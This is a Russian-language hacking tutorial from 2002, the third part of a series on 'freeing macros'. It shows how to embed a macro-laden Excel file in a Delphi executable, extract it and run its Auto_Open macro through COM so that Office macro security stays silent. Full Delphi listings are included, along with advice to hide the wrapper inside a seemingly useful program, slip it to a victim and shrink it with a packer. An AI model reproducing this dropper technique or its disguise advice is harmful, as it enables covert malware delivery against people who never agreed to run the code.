Справочник функций

Ваш аккаунт

Войти через: 
Забыли пароль?
Регистрация
Информацию о новых материалах можно получать и без регистрации:

Последние темы форума

Показать новые сообщения »

Почтовая рассылка

Подписчиков: 11656
Последний выпуск: 19.06.2015

Замешан и завернут ака Свободу макросам часть 3

Багиров Заур aka BiZet
bizetik@lycos.com
2002 Baku Azerbaijan

Замешан и завернут ака Свободу макросам часть 3

Здравия желаю всем, тем у кого руки растут оттуда, откуда нужно. А также тем кто еще не разучился тренировать свое серое вещество. Короче здрасти всем...В прошлый раз мы с вами написали Детонатор , с помощью которого грузанули наш с вами макрос в обход СБОП (системы безопасности офисного приложения) .Написали мы его на VB - старшем брате VBA .Сегодня я хочу немного усложнить задачу... Замешаем свой офисный файл (с макросной начинкой) и завернем все это в сторонний EXE ,который закодим на Delphi .Мало ли может кому нибудь противно на VB кодить. Естественно все это будет происходить под чутким бездействием СБОП.

Прошу прощения за может быть очень грубый код на Дельфи - увы я пока в нем профи (только учусь) .А также хочу поблагодарить Horrific-у за то что он меня познакомил с этой чудесной средой разработки (от дяди Борланда), и за то что размещает мою писанину у себя на сайте (www.cydsoft.com/vr-online/).И пока не забыл - спасибо Yarix-у за прогу htm2chm , тем кто не познал эту прогу советую зайти на http://yarix.by.ru/ и качать в обязательном порядке.

Опят таки повторюсь, что все нижеизложенное представлено исключительно в поучительных целях И АВТОР НЕ НЕСЕТ НИКАКОЙ ОТВЕТСТВЕННОСТИ ЗА ПОСЛЕДСВИЯ, КОТОРЫЕ МОГУТ ПРОИЗОЙТИ ВСЛЕДСТВИЕ ПРОЧТЕНИЯ ПРЕДЛОЖЕННОГО МАТЕРИАЛА. Итак если вы согласны , то читайте дальше - иначе попрошу вас удалиться...

Loading

Сегодня, как и прошлый раз нам нужны прямые руки и светлая голова. А также Дельфя (пример будет написан на шестой версии ).Офисный файл можете взять из прошлого примера или написать что-нибудь другое .Я взял старый (в лом было новое ваять) . Итак едем дальше - что мы имеем ? У нас есть файл implantation.xls с макросной начинкой в виде процедуры запуска патча офисных файлов. Какова наша задача - завернуть данный файл в ЕХЕ и преподнести его нашему любимому ушастому другу...

Dim 3 as variant:

Запустим Дельфу и из меню FILE->NEW выбираем Application .Перед нами должна появиться пустая форма, оставим ее в покое она нам еще пригодиться. Сохраним наш проект ( я дал ему имя Wrapper - от английского обложка, обертка ) .Далее запустим любой текстовой редактор и напишем следующие магические слова

implantation XLS Полный\путь\к\вашему файлу

Здесь:

  • implantation - название ресурса (может быть каким угодно).
  • XLS - пользовательский тип ресурса (расширение вшиваемого файла, также может быть любым, просто потом надо будет программным образом пенять расширение. Опять таки это не сложно, но зачем лишний раз писать пару строчек кода J ).
  • Полный\путь\к\вашему файлу - здесь по-моему комментарии излишни, единственное, что хочется добавить, так это что поместите внедряемый файл, куда нибудь в недалекий каталог - потом поймете зачем это нужно.

Усе, сохраняйте файл под любым названием, но с расширением *.rc Имя этого файла должно отличаться от имени файла-пректа или любого модуля проекта.. Теперь запустите BRCC32.exe (Borland Resource CommandLine Compiler) - программа находится в каталоге Bin Delphi - передав ей в качестве параметра полный путь к *.rc-файлу. (рис.1) Поэтому я вам и предложил использовать короткий путь, командная строка как никак и набивать на клаве длиннющий путь вряд ли кому нибудь понравиться.


рис .1 ДОС все еще живее всех живых :)

На выходе мы получили (должны, по крайней мере получить) файл с расширением *.res . Дело за малым подключить этот файл к нашему проекту в Дельфи. Делается это следующим макаром:

implementation


{$R *.dfm}

{$R implantation.res}

Опосля добавляем в раздел uses модуль ComObj - он необходим для связи нашей проги с объектами, поддерживающими технологию com , Excel (как в принципе и любое офисное приложение) в их числе. Можно конечно по-другому устроить коннект и взаимодействие с офисом , но это уже тема отдельной статьи.

Потом добавляем в проект процедуру ExtractRes - см.листинг 1 (спасибо сайту Мастера Дельфи http://delphi.mastak.ru/),она будет нам нужна для выгрузки офисного файла из нашего ЕХЕ.

Листинг № 1

procedure ExtractRes(ResType, ResName, ResNewName : String);
var
// переменную Res объявляем в виде объекта TResourceStream 
Res : TResourceStream; 
begin
Res := TResourceStream.Create(Hinstance, Resname, Pchar(ResType));
// Указываем нужный нам ресурс 
// сливаем созданный ресурс на винт 
Res.SavetoFile(ResNewName); 
// освобождаем переменную
Res.Free; 
end;

Бросьте на форму один батон ака кнопку и в процедуре обработки ее нажатия пишите следующее:

Листинг № 2

procedure TForm1.Button1Click(Sender: TObject);
var
// Ексель как вариант 
XLApp:Variant;
begin
// обработка исключительных ситуаций 
try 
//формируем ресурс, вспомните что вы писали в текстовом редакторе - вид XLS 
ExtractRes('xls', 'implantation', 'implantation.xls');
// имя ресурса implatation , implantation.xls-имя
// полученного файла и сливаем его на винт в ту же директорию, где
// находиться наш ЕХЕ
// запускаем Ексель
XLApp:=CreateOleObject('Excel.Application');
//делаем его видимым
XLApp.Visible:=true;
// запускаем файл, который мы вытянули из ЕХЕ
XLApp.WorkBooks.Open(ExtractFilePath(Application.ExeName) +'implantation.xls'); 
// запускаем макрос, который находиться в модуле patchModule
// по имени Auto_Open()
XLApp.Run('patchModule.Auto_Open'); 
//выходим из Екселя 
XLApp.Quit;
// сбрасываем переменную XLApp в Unassigned чтобы освободить ее
XLApp:=Unassigned; 
// закрываем прогу
close; 
// если произойдет ошибка то выполниться следующий код
except 
Application.MessageBox('Exe is damaged ','Error',
MB_OK + MB_ICONINFORMATION);
XLApp.Quit;
XLApp:=UnAssigned;
close;
end;
end;

Компильте проект и получите ваш Враппер. И можете спокойно его запускать. Уверяю вас, что даже если вы установите уровень безопасности в Высокая, макрос ваш запустится и СБОП даже и не вякнет. Не единого слова предупреждения вы от него не получите .А увидите вы на экране вот что (рис.2 - хотя может и не это ,в зависимости от того ,что вы там закодили в макросе). Такие вот у нас пироги с котятами.


рис.2 закодил - получи:

Post FUCKtum( ):

ЕХЕ-шник получился весом в 403 кб (412672 байт) - единственный недостаток Дельфи, но это потому что мы с вами использовали визуальные компоненты. Захотите код поменьше парьтесь с WinAPI , а не хотите тогда думайте, как этот Exe-шник подсунуть испытуемому. Закодьте какую нибудь мега полезную прогу и вставьте данную начинку в нее .Вообще думайте сами - не маленькие уже . Единственное что вы можете еще сделать , так это сжать прогу ASPack-ом и на выходе получите всего - 166 кб (169984 байт , сжатие 59%) ,неплохо правда ? Скачать ее можно здесь.

Таким образом, на сегодня свою задачу мы выполнили. В следующий раз побезобразничаем с автораном .Если что то не так с кодом на Дельфи - отцы поправят . Исходники прилагаются .Есть вопросы пишите ,постараюсь ответить .Так что всем здравия желаю! Саголун, до новых надеюсь встреч...

To be continued...

Оставить комментарий

Комментарий:
можно использовать BB-коды
Максимальная длина комментария - 4000 символов.
 
Реклама на сайте | Обмен ссылками | Ссылки | Экспорт (RSS) | Контакты
Добавить статью | Добавить исходник | Добавить хостинг-провайдера | Добавить сайт в каталог